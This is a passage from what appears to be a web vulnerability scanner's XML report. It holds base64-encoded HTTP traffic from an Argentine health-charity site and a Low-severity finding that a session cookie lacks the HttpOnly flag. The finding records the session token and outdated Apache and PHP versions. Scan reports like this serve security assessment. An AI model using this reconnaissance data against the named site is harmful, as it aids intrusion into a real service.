MCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyOTAiPjxpbWcgc3JjPSJpbWFnZXMvZGluZXJvbWFpbC5qcGciIHdpZHRoPSI0MTEiIGhlaWdodD0iNTAiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iNyIgY2VsbHBhZGRpbmc9IjUiPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaDMiPkltcHJpbWEgZWwgY3Vww7NuIHkgZGlyw61qYXNlIGEgbGFzIHN1Y3Vyc2FsZXMgaGFiaWxpdGFkYXMgcGFyYSByZWFsaXphciBlbCBwYWdvLiBMdWVnbyBww7NuZ2FzZSBlbiBjb250YWN0byBjb24gbm9zb3Ryb3MgcGFyYSBpbmZvcm1hcm5vcyBkZSBsYSBvcGVyYWNpw7NuLjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgPHA+PC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICA8L3RyPgogICAgICA8L3RhYmxlPgogICAgICA8cD48YnIgLz4KICAgIDwvcD48L3RkPgogIDwvdHI+CjwvdGFibGU+CgoKICAgICAKPC9kaXY+CgoKPCEtLWVuZCBvZiBDT05URU5JRE8yIC0tPgogICAgCiAgICA8ZGl2IGNsYXNzPSJjb250ZW5pZG8iIGlkPSJjb250ZW5pZG8zIj4KCgogICAgPC9kaXY+IDwhLS1lbmQgb2YgQ09OVEVOSURPMyAtLT4KICAgIAogICAgPGRpdiBjbGFzcz0iY29udGVuaWRvIiBpZD0iY29udGVuaWRvNCI+CiAgICAKICAgIDwvZGl2PiA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgICAKPGJyIC8+ICAgIAo8YnIgLz4KPGRpdiBjbGFzcz0iY29udGVuaWRvMiIgaWQ9ImNvbnRlbmlkbzUiIGFsaWduPSJjZW50ZXIiPjwvZGl2Pgo8cD4KICA8IS0tZW5kIG9mIENPTlRFTklETzQgLS0+CiAgPCEtLWVuZCBvZiBDT05URU5FRE9SIC0tPgo8L3A+Cgo8c2NyaXB0Pm11ZXN0cmFGb3JtYVBhZ28oZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Zvcm1hcGFnbycpLnZhbHVlKTwvc2NyaXB0Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==]]></response>
236 <responseRedirected>false</responseRedirected>
237 </requestresponse>
238 </issue>
239 <issue>
240 <serialNumber>3260534830746413056</serialNumber>
241 <type>5244416</type>
242 <name>Cookie without HttpOnly flag set</name>
243 <host ip="200.20.20.201">http://www.example.org.ar</host>
244 <path><![CDATA[/]]></path>
245 <location><![CDATA[/]]></location>
246 <severity>Low</severity>
247 <confidence>Firm</confidence>
248 <issueBackground><![CDATA[If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.]]></issueBackground>
249 <remediationBackground><![CDATA[There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.<br><br>You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.]]></remediationBackground>
250 <issueDetail><![CDATA[The following cookie was issued by the application and does not have the HttpOnly flag set:<ul><li><b>PHPSESSID=94585aa0c11cf2e864d83e24678b9865; path=/</b></li></ul>The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.]]></issueDetail>
251 <requestresponse>
252 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
253 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iM